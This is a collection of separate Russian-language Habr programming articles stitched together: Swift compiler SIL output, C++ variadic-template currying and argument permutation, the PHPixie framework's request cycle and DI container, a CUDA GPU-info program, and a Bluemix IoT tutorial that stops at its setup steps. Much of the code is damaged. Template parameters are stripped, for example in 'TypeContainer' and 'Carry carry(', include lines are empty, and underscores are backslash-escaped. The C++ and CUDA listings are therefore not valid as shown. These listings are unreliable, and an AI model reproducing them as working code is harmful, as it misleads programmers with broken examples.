> | https://habr.com/ru/post/70119/ | null | ru | null |
# Устройство компилятора Swift. Часть 3
Продолжаем изучать компилятор Swift. Эта часть посвящена Swift Intermediate Language.
Если вы не видели предыдущие, рекомендую перейти по ссылке и прочитать:
* [Общий обзор компонентов](https://habr.com/ru/company/e-Legion/blog/438204/).
* [Разбор исходного файла](https://habr.com/ru/company/e-Legion/blog/438664/).
SILGen
======
Следующий шаг — преобразование типизированного AST в сырой SIL. Swift Intermediate Language(SIL) — это специально созданное для Swift промежуточное представление. Описание всех инструкций можно найти в [документации](https://github.com/ildar-gilfanov/swift/blob/master/docs/SIL.rst).
SIL имеет SSA форму. Static Single Assignment (SSA) — представление кода, в котором каждой переменной значение присваивается только один раз. Оно создаётся из обычного кода добавлением дополнительных переменных. Например, с помощью числового суффикса, который обозначает версию переменной после каждого присваивания.
Благодаря этой форме компилятору проще оптимизировать код. Ниже приведён пример на псевдокоде. Очевидно, что первая строка является ненужной:
```
a = 1
a = 2
b = a
```
Но это только для нас. Чтобы научить компилятор это определять, пришлось бы писать нетривиальные алгоритмы. Но с помощью SSA сделать это гораздо проще. Теперь даже для простого компилятора будет очевидно, что значение переменной **a1** не используется, и эту строку можно удалить:
```
a1 = 1
a2 = 2
b1 = a2
```
SIL позволяет применять к коду Swift специфичные оптимизации и проверки, которые было бы сложно или невозможно осуществить на этапе AST.
### Использование генератора SIL
Для генерации SIL используется флаг **-emit-silgen**:
```
swiftc -emit-silgen main.swift
```
Результат выполнения команды:
```
sil_stage raw
import Builtin
import Swift
import SwiftShims
let x: Int
// x
sil_global hidden [let] @$S4main1xSivp : $Int
// main
sil @main : $@convention(c) (Int32, UnsafeMutablePointer>>) -> Int32 {
bb0(%0 : $Int32, %1 : $UnsafeMutablePointer>>):
alloc\_global @$S4main1xSivp // id: %2
%3 = global\_addr @$S4main1xSivp : $\*Int // user: %8
%4 = metatype $@thin Int.Type // user: %7
%5 = integer\_literal $Builtin.Int2048, 16 // user: %7
// function\_ref Int.init(\_builtinIntegerLiteral:)
%6 = function\_ref @$SSi22\_builtinIntegerLiteralSiBi2048\_\_tcfC : $@convention(method) (Builtin.Int2048, @thin Int.Type) -> Int // user: %7
%7 = apply %6(%5, %4) : $@convention(method) (Builtin.Int2048, @thin Int.Type) -> Int // user: %8
store %7 to [trivial] %3 : $\*Int // id: %8
%9 = integer\_literal $Builtin.Int32, 0 // user: %10
%10 = struct $Int32 (%9 : $Builtin.Int32) // user: %11
return %10 : $Int32 // id: %11
} // end sil function 'main'
// Int.init(\_builtinIntegerLiteral:)
sil [transparent] [serialized] @$SSi22\_builtinIntegerLiteralSiBi2048\_\_tcfC : $@convention(method) (Builtin.Int2048, @thin Int.Type) -> Int
```
SIL, как и LLVM IR, можно вывести в виде исходного кода. В нём можно обнаружить, что на этом этапе был добавлен импорт Swift модулей Builtin, Swift и SwiftShims.
Не смотря на то, что в Swift код можно писать прямо в глобальной области видимости, SILGen генерирует функцию main — точку входа в программу. Весь код был расположен внутри неё, кроме объявления константы, так как она является глобальной и должна быть доступна везде.
Большая часть строк имеет похожую структуру. Слева расположен псевдорегистр, в который сохраняется результат выполнения инструкции. Далее — сама инструкция и её параметры, а в конце — комментарий с указанием регистра, для вычисления которого будет использоваться этот регистр.
Например, в этой строке создаётся целочисленный литерал с типом Int2048 и значением 16. Этот литерал сохраняется в пятый регистр и будет использован для вычисления значения седьмого:
```
%5 = integer_literal $Builtin.Int2048, 16 // user: %7
```
Объявление функции начинается с ключевого слова sil. Далее указывается название с префиксом @, calling convention, параметры, тип возвращаемого значения и код функции. Для инициализатора **Int.init(\_builtinIntegerLiteral:)** он, естественно, не указан, так как эта функция из другого модуля, и её нужно только объявить, но не определять. Символ доллара означает начало указания типа:
```
// Int.init(_builtinIntegerLiteral:)
sil [transparent] [serialized] @$SSi22_builtinIntegerLiteralSiBi2048__tcfC : $@convention(method) (Builtin.Int2048, @thin Int.Type) -> Int
```
[Calling convention](https://en.wikipedia.org/wiki/Calling_convention) указывает на то, как правильно вызывать функцию. Это необходимо для генерации машинного кода. Подробное описание этих принципов выходит за рамки статьи.
Название инициализаторов, как и имена структур, классов, методов, протоколов, искажаются (name mangling). Это решает сразу несколько проблем.
Во-первых, это позволяет использовать одинаковые имена в разных модулях и вложенных сущностях. Например, для первого метода **fff** используется имя **S4main3AAAV3fffSiyF**, а для второго — **S4main3BBBV3fffSiyF**:
```
struct AAA {
func fff() -> Int {
return 8
}
}
struct BBB {
func fff() -> Int {
return 8
}
}
```
**S** значит Swift, 4 — это число символов в названии модуля, а 3 — в названии класса. В инициализаторе литерала **Si** обозначает стандартный тип Swift.Int.
Во-вторых, в название добавляются имена и типы аргументов функций. Это позволяет использовать перегрузку. Например, для первого метода генерируется **S4main3AAAV3fff3iiiS2i\_tF**, а для второго — **S4main3AAAV3fff3dddSiSd\_tF**:
```
struct AAA {
func fff(iii internalName: Int) -> Int {
return 8
}
func fff(ddd internalName: Double) -> Int {
return 8
}
}
```
После названий параметров указан тип возвращаемого значения, а за ним — типы параметров. При этом их внутренние названия не указываются. К сожалению, документации по name mangling в Swift нет, а его реализация может в любой момент измениться.
За названием функции следует её определение. Оно состоит из одного или нескольких basic block. Базовый блок — последовательность инструкций с одной точкой входа, одной точкой выхода, которая не содержит инструкций ветвления или условий для раннего выхода.
У функции main есть один базовый блок, который принимает на вход все параметры, переданные в функцию, и содержит весь её код, так как в нём нет ветвлений:
```
bb0(%0 : $Int32, %1 : $UnsafeMutablePointer>>):
```
Можно считать, что каждая область видимости, ограниченная фигурными скобками, является отдельным базовым блоком. Допустим, что код содержит ветвление:
```
// before
if 2 > 5 {
// true
} else {
// false
}
// after
```
В этом случае будет сгенерировано как минимум 4 базовых блока для:
* кода до ветвления,
* случая, когда выражение верно,
* случая, когда выражение ложно,
* кода после ветвления.
**cond\_br** — инструкция для условного перехода. Если значение псевдорегистра %14 равно true, то выполняется переход в блок **bb1**. Если нет, то в **bb2**. br — безусловный переход, запускающий выполнение указанного базового блока:
```
// before
cond_br %14, bb1, bb2 // id: %15
bb1:
// true
br bb3 // id: %21
bb2: // Preds: bb0
// false
br bb3 // id: %27
bb3: // Preds: bb2 bb1
// after
```
Исходный код:
* [SILGen Implementation files](https://github.com/apple/swift/tree/master/lib/SILGen),
* [SIL Header files](https://github.com/apple/swift/tree/master/include/swift/SIL),
* [SIL Implementation files](https://github.com/apple/swift/tree/master/lib/SIL),
* [SIL Documentation](https://github.com/apple/swift/blob/master/docs/SIL.rst).
SIL guaranteed transformations
==============================
Сырое промежуточное представление, которое было получено на прошлом этапе, анализируется на корректность и трансформируется в каноничное: функции, помеченные transparent, [инлайнятся](https://en.wikipedia.org/wiki/Inline_expansion) (вызов функции подменяется её телом), вычисляются значения константных выражений, выполняется проверка на то, что функции, которые возвращают значения, делают это во всех ветвлениях кода и так далее.
Эти преобразования являются обязательными и выполняются, даже если оптимизация кода отключена.
### Генерация каноничного SIL
Для генерации каноничного SIL используется флаг **-emit-sil**:
```
swiftc -emit-sil main.swift
```
Результат выполнения команды:
```
sil_stage canonical
import Builtin
import Swift
import SwiftShims
let x: Int
// x
sil_global hidden [let] @$S4main1xSivp : $Int
// main
sil @main : $@convention(c) (Int32, UnsafeMutablePointer>>) -> Int32 {
bb0(%0 : $Int32, %1 : $UnsafeMutablePointer>>):
alloc\_global @$S4main1xSivp // id: %2
%3 = global\_addr @$S4main1xSivp : $\*Int // user: %6
%4 = integer\_literal $Builtin.Int64, 16 // user: %5
%5 = struct $Int (%4 : $Builtin.Int64) // user: %6
store %5 to %3 : $\*Int // id: %6
%7 = integer\_literal $Builtin.Int32, 0 // user: %8
%8 = struct $Int32 (%7 : $Builtin.Int32) // user: %9
return %8 : $Int32 // id: %9
} // end sil function 'main'
// Int.init(\_builtinIntegerLiteral:)
sil public\_external [transparent] [serialized] @$SSi22\_builtinIntegerLiteralSiBi2048\_\_tcfC : $@convention(method) (Builtin.Int2048, @thin Int.Type) -> Int {
// %0 // user: %2
bb0(%0 : $Builtin.Int2048, %1 : $@thin Int.Type):
%2 = builtin "s\_to\_s\_checked\_trunc\_Int2048\_Int64"(%0 : $Builtin.Int2048) : $(Builtin.Int64, Builtin.Int1) // user: %3
%3 = tuple\_extract %2 : $(Builtin.Int64, Builtin.Int1), 0 // user: %4
%4 = struct $Int (%3 : $Builtin.Int64) // user: %5
return %4 : $Int // id: %5
} // end sil function '$SSi22\_builtinIntegerLiteralSiBi2048\_\_tcfC'
```
В таком простом примере изменений немного. Чтобы увидеть реальную работу оптимизатора, нужно немного усложнить код. Например, добавить сложение:
```
let x = 16 + 8
```
В его сыром SIL можно найти сложение этих литералов:
```
%13 = function_ref @$SSi1poiyS2i_SitFZ : $@convention(method) (Int, Int, @thin Int.Type) -> Int // user: %14
%14 = apply %13(%8, %12, %4) : $@convention(method) (Int, Int, @thin Int.Type) -> Int // user: %15
```
А в каноничном его уже нет. Вместо этого используется константное значение 24:
```
%4 = integer_literal $Builtin.Int64, 24 // user: %5
```
Исходный код:
* [SIL Optimizer Mandatory](https://github.com/apple/swift/tree/master/lib/SILOptimizer/Mandatory)
SIL optimization
================
Дополнительные Swift-специфичные трансформации применяются, если включена оптимизация. Среди них [специализация дженериков](https://en.wikipedia.org/wiki/Generic_programming#Template_specialization) (оптимизация дженерик-кода под конкретный тип параметра), [девиртуализация](https://marcofoco.com/the-power-of-devirtualization) (замена динамических вызовов статическими), инлайнинг, [оптимизация ARC](https://github.com/apple/swift/blob/master/docs/ARCOptimization.rst) и многое другое. Объяснение этих техник не влезает и в без того разросшуюся статью.
Исходный код:
* [SIL Optimizer Headers](https://github.com/apple/swift/tree/master/include/swift/SILOptimizer)
* [SIL Optimizer Implementation files](https://github.com/apple/swift/tree/master/lib/SILOptimizer)
Так как SIL – это особенность Swift, я не показывал в этот раз примеры реализации. К компилятору скобок мы вернёмся в следующей части, когда будем заниматься генерацией LLVM IR. | https://habr.com/ru/post/438696/ | null | ru | null |
# C++ Variadic templates. Каррирование и частичное применение
Доброго времени суток, уважаемое Хабрасообщество.
Недавно приходилось наблюдать дискуссию о каррировании и частичном применении. Суть этой полемики состояла в том, что лучше, для практических целей, иметь в языке программирования: встроенное частичное применение (например, как в [Nemerle](http://ru.wikipedia.org/wiki/Nemerle)) или встроенное каррирование (как, например, в [Haskell](http://ru.wikipedia.org/wiki/Haskell)).
**Nemerle:**
````
def sum3(x: int, y: int, z: int): int // определяем функцию
{
x + y + z;
};
def sum3y = sum3(_, 5, _); // передаем только второй аргумент
def sum3yz = sum3y(_, 5); // передаем еще третий
def sum3yzx = sum3yz(5); // …и первый, получаем 15
````
**Haskell:**
````
sum3 x y z = x + y + z -- определяем функцию
sum3x = sum3 5 -- передаем только первый аргумент
sum3xy = sum3x 5 -- передаем второй
sum3xyz = sum3xy 5 -- …и третий, получаем 15
````
Лично я думаю, что нужно реализовать обе сущности. Тем более уже достаточно времени прошло от того момента когда в gcc появились возможности из грядущего стандарта C++, а именно Variadic templates. Как вы поняли, в статье предлагается реализация каррирования и частичного применения для C++ с помощью Variadic templates. В ходе работы использовались MinGW gcc 4.6.1 и Code::Blocks 10.05.
#### Каррирование
Начнем с каррирования, тем более что это интуитивно понятно. Целью будем считать функцию высшего порядка, которая принимает функцию и возвращает ее каррированный вариант. Далее этой функции можно передать произвольное количество аргументов, получая в результате другую функцию, которая принимает остальные аргументы и выдает окончательный результат.
```
std::function< int(int, int, int) > f =
[] ( int x, int y, int z )
{
return x + y + z;
};
auto f1 = carry(f);
auto f2 = f1(5, 5);
auto v15 = f2(5);
```
Нам нужен объект, который будет хранить целевую функцию, и сам будет вести себя как функция, что принимает нефиксированное количество аргументов. А результатом действия этого объекта-функции на свои аргументы должен быть другой объект, который кроме функции еще сохраняет переданные аргументы, поскольку в C++ данные, которые на стеке, живут не вечно, то их нужно именно скопировать, то есть для такого случая нужны копируемые объекты. Адреса, конечно, никто не запрещал. Философствовать в этом направлении можно очень долго и, я думаю, для каждого случая найти оптимальное решение. Можно даже, в перспективе, обозначить как-то, нужно ли копировать тот или иной аргумент, а может ссылки будет достаточно.
Далее этот объект должен вести себя как простая функция и принимать конкретное количество аргументов, а именно оставшиеся. Итак, нам нужен шаблонный класс, который зависит от типа целевой функции. Далее, для сохранения переданных аргументов нужны их количество и типы, а для определения результирующей функции нужны количество и типы оставшихся аргументов. Экспериментальным путем было определено, что лучше всего передавать шаблону тип функции и два набора индексов: переданных и оставшихся. Реализация ориентировалась на обертку std::function, а аргументы сохранялись в std::tuple. Также использовался ряд вспомогательных шаблонов для манипуляции числами и типами во время компиляции – надеюсь, их имена будут хорошим пояснением их сути, поскольку они сами могут претендовать на отдельную библиотеку, и описывать их тут не представляется возможным.
Ниже приведен код класса, который сохраняет функцию и данные, а также код класса, который ведет себя как функция, принимающая нефиксированное количество аргументов. Хочу обратить внимание на обильное использование **[pack expansion](http://en.wikipedia.org/wiki/Variadic_template)** для шаблонов.
```
template< class, class, class >
class CarryHolder;
template< class OUT_TYPE, class... IN_TYPES, uint32_t... CAP_INDEXES, uint32_t... RES_INDEXES >
class CarryHolder< std::function< OUT_TYPE ( IN_TYPES... ) >,
UintContainer< CAP_INDEXES... >, // индексы захваченных аргументов
UintContainer< RES_INDEXES... > > // индексы оставшихся аргументов
{
public:
typedef std::function< OUT_TYPE ( IN_TYPES... ) > FuncType; // тип целевой функции
typedef std::tuple<
typename UnQualify< // убираем const и &
typename GetNthType< CAP_INDEXES, TypeContainer >::Result
>::Result...
> CleanCapTupleType; // тип кортежа хранящего захваченные аргументы
typedef std::function< OUT\_TYPE
( typename GetNthType< RES\_INDEXES, TypeContainer >::Result... )
> ReturnFuncType; // тип результирующей функции
public:
CarryHolder( FuncType const& f,
typename UnQualify<
typename GetNthType< CAP\_INDEXES, TypeContainer >::Result
>::Result const&... capturedValues ):
\_function(f), \_capturedData( capturedValues... ) { };
CarryHolder( CarryHolder const& other ):
\_function(other.\_function), \_capturedData( other.\_capturedData ) { };
// принимает оставшиеся аргументы
inline OUT\_TYPE operator()( typename GetNthType< RES\_INDEXES, TypeContainer >::Result... other\_values )
{
// разворачиваем сохраненные аргументы и только что полученные
return \_function( std::get< CAP\_INDEXES > (\_capturedData)..., other\_values ... );
};
private:
CarryHolder();
FuncType \_function;
CleanCapTupleType \_capturedData;
};
template< class >
class Carry;
template< class OUT\_TYPE, class... IN\_TYPES >
class Carry< std::function< OUT\_TYPE (IN\_TYPES...) > >
{
public:
typedef typename std::function< OUT\_TYPE (IN\_TYPES...) > FuncType;
constexpr static uint32\_t ArgsCount = GetTypesLength< TypeContainer >::Result;
Carry( Carry const& carry ): \_function( carry.\_function ) { };
Carry( FuncType const& f ): \_function( f ) { };
template< class... INNER\_IN\_TYPES >
inline auto operator()( INNER\_IN\_TYPES const& ... values ) ->
typename CarryHolder<
FuncType,
// генерируем последовательность индексов захваченных аргументов
typename UintRange< GetTypesLength< TypeContainer >::Result >::Result,
// генерируем последовательность индексов оставшихся аргументов
typename UintRangeFromTo< GetTypesLength< TypeContainer >::Result, ArgsCount >::Result
>::ReturnFuncType // возвращаем CarryHolder завернутый в std::function
{
typedef CarryHolder<
FuncType,
typename UintRange< GetTypesLength< TypeContainer >::Result >::Result,
typename UintRangeFromTo< GetTypesLength< TypeContainer >::Result, ArgsCount >::Result
> CarryHolderSpec;
return CarryHolderSpec( \_function, values... );
};
private:
Carry();
FuncType \_function;
};
template< class FUNC\_TYPE >
Carry carry( FUNC\_TYPE const& f ) // функция для удобства
{
return Carry(f);
};
```
#### Перестановка аргументов
Для реализации частичного применения можно использовать подход, состоящий в перестановке аргументов местами с дальнейшим каррированием. Будет это выглядеть так:
```
std::function< int(int, int, int) > f =
[] ( int x, int y, int z )
{
return x + y + z;
};
auto f1 = permute<2, 1, 0>(f);
```
Нам, как и раньше, понадобиться объект, который будет хранить целевую функцию, но вести себя он будет как обычная функция, принимающая конкретное число аргументов, а точнее переставленные аргументы целевой функции. Для этого нужен шаблонный класс, который зависит от типа функции и от последовательности индексов – перестановки аргументов. Также необходимым будет шаблон для дополнения перестановки (пояснения ниже) и поиска обратной перестановки (инверсный индекс). Прямая перестановка нужна для формирования последовательности типов входных параметров, а обратная для вставки аргументов во время вызова функции. Также используется внутренний класс для развертывания типа инверсного индекса. Ниже приведен код класса, который реализует данный функционал.
```
template< class, class >
class Permutation;
template< class OUT_TYPE, class... IN_TYPES, uint32_t... INDEXES >
class Permutation<
std::function< OUT_TYPE (IN_TYPES...) >, // тип целевой функции
UintContainer< INDEXES... > > // перестановка аргументов
{
public:
typedef std::function< OUT_TYPE (IN_TYPES...) > FuncType;
typedef std::function< OUT_TYPE (typename GetNthType< INDEXES, TypeContainer >::Result...) > NewFuncType;
Permutation( Permutation const& perm ): \_function( perm.\_function ) { };
Permutation( FuncType const& f ): \_function( f ) { };
private:
// вспомогательный метод для развертывания найденной обратной перестановки
template< uint32\_t... INVERSE >
inline OUT\_TYPE apply( UintContainer< INVERSE... >, // нам нужен только тип, т.е. индексы
typename GetNthType< INDEXES, TypeContainer >::Result... values )
{
// сохраняем аргументы в std::tuple по индексу перестановки
std::tuple< typename GetNthType< INDEXES, TypeContainer >::Result... > data( values... );
// извлекаем аргументы из std::tuple по инверсному индексу
return \_function( std::get< INVERSE > (data)... );
};
public:
inline OUT\_TYPE operator()( typename GetNthType< INDEXES, TypeContainer >::Result... values )
{
// находим инверсную перестановку
typename InversePermutation< UintContainer >::Result inverse;
return apply( inverse, values... );
};
private:
Permutation();
FuncType \_function;
};
// функция для удобства; заворачивает Permutation в std::function
template< uint32\_t... INDEXES, class FUNC\_TYPE >
auto permute( FUNC\_TYPE const& f ) ->
typename Permutation::Result, UintContainer < INDEXES... >
>::Result
>::NewFuncType
{
typedef Permutation::Result, UintContainer < INDEXES... >
>::Result
> PermutationType;
return PermutationType(f);
};
```
Теперь частичное применение, имея описанный функционал, становиться тривиальным – ниже код.
```
template< uint32_t... INDEXES, class FUNC_TYPE >
auto partApply( FUNC_TYPE const& f ) ->
decltype(carry(permute(f)))
{
return carry(permute(f));
};
```
А учитывая возможность дополнения индексов, это можно использовать указывая не все индексы:
```
std::function< int(int, int, int) > f =
[] ( int x, int y, int z )
{
return x + y + z;
};
auto f1 = permute<2>(f); // эквивалентно <2, 0, 1> - значит "ввести третий аргумент первым"
```
Вот такие возможности открывают Variadic templates. Позже, если будет интересно, выложу код.
На самом деле каррирование вышло не совсем классическим, поскольку является одношаговым и «обязательным», то есть, передав каррированной (в смысле реализованного функционала) функции все аргументы, все равно получим *функцию*, которая не принимает аргументов. Также неклассическая суть заметна во время манипуляции с квалификаторами. Но все это — особенности C++.
**UPDATE:**
Обнаружил, что CarryHolderSpec в Carry::operator() не нужно заворачивать без надобности в std::function, поскольку происходит повторное копирование аргументов. Но, думаю, ссылки на временные объекты помогут это обойти.
**UPDATE:**
Перенес топик в «Ненормальное программирование», думаю тут ему будет уютней. | https://habr.com/ru/post/133084/ | null | ru | null |
# Как работает PHPixie — Жизнь одного запроса, контейнер и парадигма
Я уже много раз писал о фреймворке [PHPixie](http://phpixie.com) и программировании на нем. В этот раз мы заглянем внутрь и посмотрим жизненный цикл приложения, к счастью простота и линейность кода позволяют сделать это с относительной легкостью.
Как и например Symfony, PHPixie состоит из двух частей: библиотеки компонентов и базового проекта, правда в случае PHPixie базовый проект более тонкий и состоит всего из нескольких файлов. Он здесь исполняет роль примера и поэтому изменение его под себя не только приветствуется но в некоторых случаях даже необходимо. Именно для этого важно понимать что и как происходит в системе. Используя свои несколько ограниченные умения в области рисования я подготовил диаграмму обработки запроса
Конечно тем кто уже знаком с MVC (или даже VC в этом случае, так как модели я не нарисовал) наверняка эта схема уже покажется знакомой, но для новичков может быть очень полезна. Итак начнем c index.php куда и попадают все запросы, здесь самые важные строчки это:
```
$pixie = new \App\Pixie();
$pixie->bootstrap($root)->handle_http_request();
```
И сразу же мы попадаем на самую важную часть, класс App\Pixie который является сердцем фреймворка, его DI контейнером. Через него можно получить доступ ко всем другим компонентам. App\Pixie наследует от PHPixie\Pixie из библиотеки PHPixie-Core. Базовый проект оглашает этот класс вместо использования PHPixie\Pixie напрямую для предоставления разработчику возможности внести в него свои изменения ( например подключить модуль).
Сразу стоит отметить что добавлять новые сущности в этот контейнер на ходу, как например в Silex, нельзя, все надо описывать явно в классе. Хотя это и может показаться не таким удобным на первый взгляд, но зато позволяет добиться лучшей читабельности кода, полностью продокументировать все сущности (так как все они становятся атрибутами класса) а также получить подсказки по этим сущностям в IDE. Поскольку PHPixie\Pixie содержит также все фактори методы, то это позволят нам с легкостью заменить любой класс фреймворка на свой путем перегрузки соответствующего метода.
Метод bootstrap() инициализирует $pixie, считывает конфигурацию, подключает обработку исключений итд. Как раз в [handle\_http\_request()](https://github.com/dracony/PHPixie-Core/blob/master/classes/PHPixie/Pixie.php#L228) проходит обработка запроса. Этот процесс состоит из трех этапов:
* Создание объекта $request класса PHPixie\Request
* Этот объект передается в соответствующий контроллер и выполняется соответствующий action
* В процессе исполнения екшена контроллер изменяет объект $response ( PHPixie\Response )
* Данные из $response (хедеры и контент) отсылаются пользователю
Все три самых важных объекта $request, $response и $pixie доступны как атрибуты класса PHPixie\Controller. Теперь отвлечемся немного на еще несколько парадигм написания кода на PHPixie:
**Не использовать оператор «new» нигде кроме фактори методов.** Каждый новый класс должен иметь фактори метод (например в App\Pixie) для создания его екземпляров. Такой подход позволяет легко заменить один класс другим, что особенно важно при написании юнит тестов. Так тестируя например контроллер вы теперь сможете передать в него замоканный App\Pixie который вместо реальных классов передаст их моки.
**Не использовать статические проперти и методы.** Использование статики сильно усложняет написание тестов. Используя PHPixie можно легко обойтись без них, достаточно добавить экземпляр как атрибут App\Pixie и вы сможете получить к нему доступ практически из любого места. Таким образом мы фактически получим синглтон. Кстати сделать это можно еще путем добавления его в $instance\_classes.
```
namespace App;
class Pixie extends \PHPixie\Pixie {
public function __construct() {
$this->instance_classes['singleton'] = '\App\Singleton';
}
}
// Теперь мы можем использовать $pixie->singleton в любом месте,
// и всегда получить тот же объект. В качестве дополнительного бонуса
// объект будет создан только тогда когда он будет нужен
```
##### Как работают модули
Каждый модуль для PHPixie это дополнительная библиотека классов которая предоставляет свой DI контейнер очень похожий на главный PHPixe\Pixie, то есть он состоит из методов фабрик для создания экземпляров классов который входят в модуль. Потом мы просто добавляем его в массив модулей в главный контейнер:
```
namespace App;
class Pixie extends \PHPixie\Pixie {
protected $modules = array(
'db' => '\PHPixie\DB',
'orm' => '\PHPixie\ORM'
);
}
// Теперь мы можем использовать $pixie->db и $pixie->orm
```
А что делать если я например хочу подменить класс PHPixie\ORM\Model на свой App\Model? Все просто, надо еще сделать свой App\ORM (extends PHPixie\ORM ) метод get() которого вместо модели PHPixie\ORM\Model будет возвращать ту что нужна нам. в этом еще больше проявляется одна из идей фреймворка — как можно больше использовать стандартные приемы ООП вместо каких-то магий. Например чтобы подменить класс самого фреймворка приходится применять subclass\_prefix и делать єто на уровне конфигурации а не собственно программирования. Такой подход позволяет намного улучшыть понимание системы, так как по большей части в флове можно разобраться не зная ничего о фреймворке, просто посмотрев на сами классы.
##### А как же хуки, ивенты и прочее?
Их нет и я так понимаю не будет. Такие вещи полностью из другой парадигмы так как делают код нелинейным, особенно это относится к ивентам, где всегда не до конца понятно который из листенеров запустится первым и что случится если он сам вызовет какой-то ивент. А также от их использования очень часто страдает читабельность бектрейсов, так как они вызываются самим фреймворком где-то там где сам программист кода точно не писал. Если нужно что-то сделать в каком-то месте гораздо проще перегрузить метод который как-раз это и делает и дописать к нему ту логику что нужно.
В следующей статье я либо более подробно рассмотрю как PHPixie работает с базами данных, либо более расширенно расскажу в чем плюсы и минусы линейного против event driven программирования. | https://habr.com/ru/post/194470/ | null | ru | null |
# CUDA: Начало
Это первая публикация из цикла статей об использовании GPGPU и nVidia CUDA. Планирую писать не очень объемно, чтобы не слишком утомлять читателей, но достаточно часто.
Я предполагаю, что читатель осведомлен, что такое CUDA, если нет, то вводную статью можно найти на Хабре.
Что потребуется для работы:
---------------------------
1. Видеокарта из серии nVidia GeForce 8xxx/9xxx или более современная
2. CUDA Toolkit v.2.1 (скачать можно здесь: [www.nvidia.ru/object/cuda\_get\_ru.html](http://www.nvidia.ru/object/cuda_get_ru.html))
3. CUDA SDK v.2.1 (скачать можно там же где Toolkit)
4. Visual Studio 2008
5. CUDA Visual Studio Wizard (скачать можно здесь: [sourceforge.net/projects/cudavswizard](http://sourceforge.net/projects/cudavswizard/))
Создание CUDA проекта:
----------------------
После установки всего необходимого в VS появиться новый вид проекта для С++ с названием CU-DA WinApp, это именно то, что нам надо. В данном типе проекта доступны дополнительные на-стройки для CUDA, позволяющие настроить параметры компиляции под GPU, например версию Compute Capability в зависимости от типа GPU и т.д.
Обычно я создаю чистый проект (Empty Project), так как Precompiled Headers навряд ли пригодиться для CUDA.
Важно отметить, как собирается CUDA приложение. Файлы с расширением \*.cpp обрабатываются компилятором MS C++ (cl.exe), а файлы c расширением \*.cu компилятором CUDA (nvcc.exe), который в свою очередь определяет, какой код будет работать на GPU, а какой на CPU. Код из \*.cu, работающий на CPU, передается на компиляцию MS C++, эту особенность удобно использовать для написания динамических библиотек, которые будут экспортировать функции, использующие для расчетов GPU.
Далее привожу листинг простой программы на CUDA, который выводит на экран информацию об аппаратных возможностях GPU.
Листинг. Программа CudaInfo.
> `//FileName: cudaInfo.cu
>
>
>
> #include
>
> #include
>
>
>
> int main()
>
> {
>
> int deviceCount;
>
> cudaDeviceProp deviceProp;
>
>
>
> //Сколько устройств CUDA установлено на PC.
>
> cudaGetDeviceCount(&deviceCount);
>
>
>
> printf("Device count: %d\n\n", deviceCount);
>
>
>
> for (int i = 0; i < deviceCount; i++)
>
> {
>
> //Получаем информацию об устройстве
>
> cudaGetDeviceProperties(&deviceProp, i);
>
>
>
> //Выводим иформацию об устройстве
>
> printf("Device name: %s\n", deviceProp.name);
>
> printf("Total global memory: %d\n", deviceProp.totalGlobalMem);
>
> printf("Shared memory per block: %d\n", deviceProp.sharedMemPerBlock);
>
> printf("Registers per block: %d\n", deviceProp.regsPerBlock);
>
> printf("Warp size: %d\n", deviceProp.warpSize);
>
> printf("Memory pitch: %d\n", deviceProp.memPitch);
>
> printf("Max threads per block: %d\n", deviceProp.maxThreadsPerBlock);
>
>
>
> printf("Max threads dimensions: x = %d, y = %d, z = %d\n",
>
> deviceProp.maxThreadsDim[0],
>
> deviceProp.maxThreadsDim[1],
>
> deviceProp.maxThreadsDim[2]);
>
>
>
> printf("Max grid size: x = %d, y = %d, z = %d\n",
>
> deviceProp.maxGridSize[0],
>
> deviceProp.maxGridSize[1],
>
> deviceProp.maxGridSize[2]);
>
>
>
> printf("Clock rate: %d\n", deviceProp.clockRate);
>
> printf("Total constant memory: %d\n", deviceProp.totalConstMem);
>
> printf("Compute capability: %d.%d\n", deviceProp.major, deviceProp.minor);
>
> printf("Texture alignment: %d\n", deviceProp.textureAlignment);
>
> printf("Device overlap: %d\n", deviceProp.deviceOverlap);
>
> printf("Multiprocessor count: %d\n", deviceProp.multiProcessorCount);
>
>
>
> printf("Kernel execution timeout enabled: %s\n",
>
> deviceProp.kernelExecTimeoutEnabled ? "true" : "false");
>
> }
>
>
>
> return 0;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В программе я подключаю библиотеку “cuda\_runtime\_api.h”. Хотя это делать не обязательно, так она инклюдится автоматически, но без неё не будет работать IntelliSence (хотя все равно периодически косячит).
Заключение
----------
Я думаю, что это самый простой способ для написания CUDA-программ, так как требуется минимум усилий для конфигурирования и настройки среды, единственная проблема только с использованием IntelliSence.
В следующий раз будет рассмотрено использование CUDA для математических вычислений и вопросы работы с память видеокарты.
P.S. Задавайте вопросы. | https://habr.com/ru/post/54330/ | null | ru | null |
# Простой способ создать IoT-приложение для мониторинга удаленных серверов на платформе IBM Bluemix
Интернет вещей становится все более привычным не только для ИТ-специалистов, но и для обычных людей. Системы «Умный дом», «Умная бытовая техника и системы освещения» — все это уже мало кого удивляет. На производстве и в телекоммуникациях эта технология очень полезна, поскольку позволяет считывать данные в режиме реального времени, работать с удаленными системами. IoT постепенно находит свое место в бизнесе, сельском хозяйстве, науке, здравоохранении.
Приложение для IoT создать не так сложно, как можно было бы подумать. В этом материале описано, как можно настроить рабочее пространство IBM Bluemix, создав демонстрационное приложение для мониторинга удаленных серверов или управления распределенной сетью.
### Какие технологии требуются для начала работы?
* [IBM Bluemix](https://developer.ibm.com/bluemix/) — облачное предложение IBM на
* основе Cloud Foundry (реализация с открытым исходным кодом концепции «платформа как
* сервис»)
* [Node-RED](https://developer.ibm.com/open/node-red/) — инструмент с открытым
* исходным кодом, специально созданный для работы с Интернетом вещей
* [Twilio](https://www.twilio.com/) — сервис для обмена SMS-сообщениями
* Номер мобильного телефона и сам телефон для получения SMS-уведомлений
* Знакомство с программированием на JavaScript
Само приложение назовем pingGo, под этим названием оно и будет фигурировать в материале.
Основные функции создаваемого приложения — отслеживание состояния машин при помощи мониторинга сетевых и машинных портов. Если машина сбоит, то приложение уведомляет об этом оператора/пользователя при помощи SMS-сообщения. Приложения такого типа будут очень полезными для широкого круга технических работников, операторов ЦОД, инженеров, которым требуется удаленно контролировать серверы или распределенные компьютерные сети. Нельзя забывать, что приложение — демонстрационное, то есть оно показывает возможности системы.
### Создаем приложение для платформы Bluemix на основе Node-RED
1. Входим в систему под своей учетной записью Bluemix или регистрируемся для создания бесплатной учетной записи. Убеждаемся в том, что пространство dev создано.
2. Открываем страницу своего профиля, убеждаемся в том, что активный регион правильно настроен. Необходимо развернуть собственное приложение в одном из существующих регионов Bluemix, выбор региона особого значения не имеет. В демонстрации выбран регион Europe United Kingdom.
